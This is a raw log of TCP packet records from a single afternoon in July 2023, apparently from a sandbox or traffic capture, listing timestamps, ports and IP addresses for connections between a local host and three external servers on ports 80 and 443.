Jul 27, 2023 18:26:48.120759964 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.120768070 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.120812893 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.120856047 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.120858908 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.120904922 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.120950937 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.120996952 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.120996952 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121042967 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.121042967 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121092081 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121139050 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121185064 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121189117 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.121227980 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.121232033 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121278048 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121324062 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121366978 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.121370077 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121426105 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121449947 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121455908 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.121474028 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121490955 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.121495008 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121519089 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121532917 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.121541977 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121572971 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121597052 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121611118 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.121638060 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.121643066 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121666908 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121706009 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121728897 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121741056 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.121764898 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.121766090 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121788979 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121815920 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121838093 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121853113 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.121860981 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121877909 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.121885061 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121907949 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121932030 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121944904 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.121957064 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.121978045 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.121978998 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122003078 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122004986 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122025013 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122026920 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122040987 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122051001 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122064114 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122075081 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122087955 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122097015 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122108936 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122121096 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122134924 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122143984 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122157097 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122168064 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122178078 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122191906 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122205019 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122215033 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122229099 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122239113 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122253895 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122262955 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122276068 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122284889 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122296095 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122308016 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122320890 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122332096 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122345924 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122355938 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122370005 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122380972 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122392893 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122405052 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122419119 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122427940 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122442961 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122451067 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122473955 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122483969 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122483969 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122498035 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122509956 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122520924 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122534990 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122545004 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122565031 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122569084 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122579098 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122591972 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122606039 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122615099 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122627974 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122637987 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122652054 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122662067 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122674942 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122684956 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122698069 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122708082 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122721910 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122731924 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122744083 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122756004 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122767925 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122780085 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122792006 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122805119 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122828007 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122838020 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122850895 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122865915 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122874022 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122891903 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122898102 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122909069 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122921944 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122934103 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.122942924 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122958899 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122973919 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.122989893 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123017073 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123039007 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123054981 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123061895 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123085976 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123116016 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123121977 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123140097 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123150110 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123163939 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123187065 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123205900 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123209000 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123224020 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123233080 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123251915 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123255968 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123280048 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123301983 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123302937 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123327017 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123327017 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123351097 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123352051 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123369932 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123373985 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123387098 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123397112 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123409033 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123421907 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123435020 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123446941 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123455048 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123471022 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123486996 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123493910 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123512030 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123517990 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123534918 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123541117 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123555899 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123563051 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123578072 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123585939 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123600006 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123609066 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123630047 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123631954 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123646021 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123655081 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123668909 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123677969 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123692989 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123702049 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123716116 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123724937 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123744965 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123747110 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123763084 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123769999 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123784065 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.123794079 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123816967 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123841047 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123862982 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123886108 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123908997 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123930931 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123954058 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.123976946 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.124000072 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.124022961 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.124044895 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.124068022 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.124090910 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.124110937 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.124113083 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.124131918 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.124131918 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.124131918 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.124131918 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.124131918 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.124131918 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.124131918 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.124131918 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.124135971 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.124159098 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.124175072 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.124181986 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.124193907 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.124205112 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.124219894 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.124228001 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.124245882 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.124250889 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.124269009 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.124289989 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.124298096 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.124315023 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.124334097 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.124346018 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.142194033 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.142252922 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.142307997 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.142347097 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.142385960 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.142426968 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.142440081 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.142440081 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.142467022 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.142493010 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.142493010 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.142509937 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.142549992 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.142561913 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.142584085 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.142590046 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.142600060 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.142630100 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.142668009 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.142678976 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.142678976 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.142708063 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.142714977 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.142745972 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.142748117 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.142788887 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.142791986 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.142827034 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.142827988 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.142877102 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.142884970 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.142931938 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.142966032 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.143006086 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.143012047 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.143044949 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.143053055 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.143083096 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.143096924 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.143122911 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.143126965 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.143182993 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.143214941 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.143253088 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.143259048 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.143290043 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.143311977 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.143412113 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.322669983 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:49.354191065 CEST	49697	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:49.354257107 CEST	443	49697	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:49.354433060 CEST	49697	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:49.384113073 CEST	49697	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:49.384150028 CEST	443	49697	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:49.441222906 CEST	443	49697	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:49.441452980 CEST	49697	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:49.452594042 CEST	49697	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:49.452620029 CEST	443	49697	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:49.452955008 CEST	443	49697	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:49.455693007 CEST	49697	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:49.457993984 CEST	49697	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:49.496476889 CEST	443	49697	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:49.496567965 CEST	443	49697	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:49.500714064 CEST	49697	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:49.575665951 CEST	49697	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:49.575727940 CEST	443	49697	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:49.776607990 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:49.776688099 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:49.793071032 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:49.793102980 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:49.853121996 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:49.853190899 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:49.853347063 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:50.038008928 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:50.038072109 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:50.054275036 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:50.054301977 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:50.114577055 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:50.114634991 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:50.114783049 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:50.275974989 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:50.518598080 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:50.518739939 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:50.521363020 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:50.963275909 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.248080969 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.248115063 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.256290913 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:51.499486923 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.499598980 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.499666929 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.499731064 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.499892950 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:51.499892950 CEST	49698	80	192.168.2.4	211.171.233.129
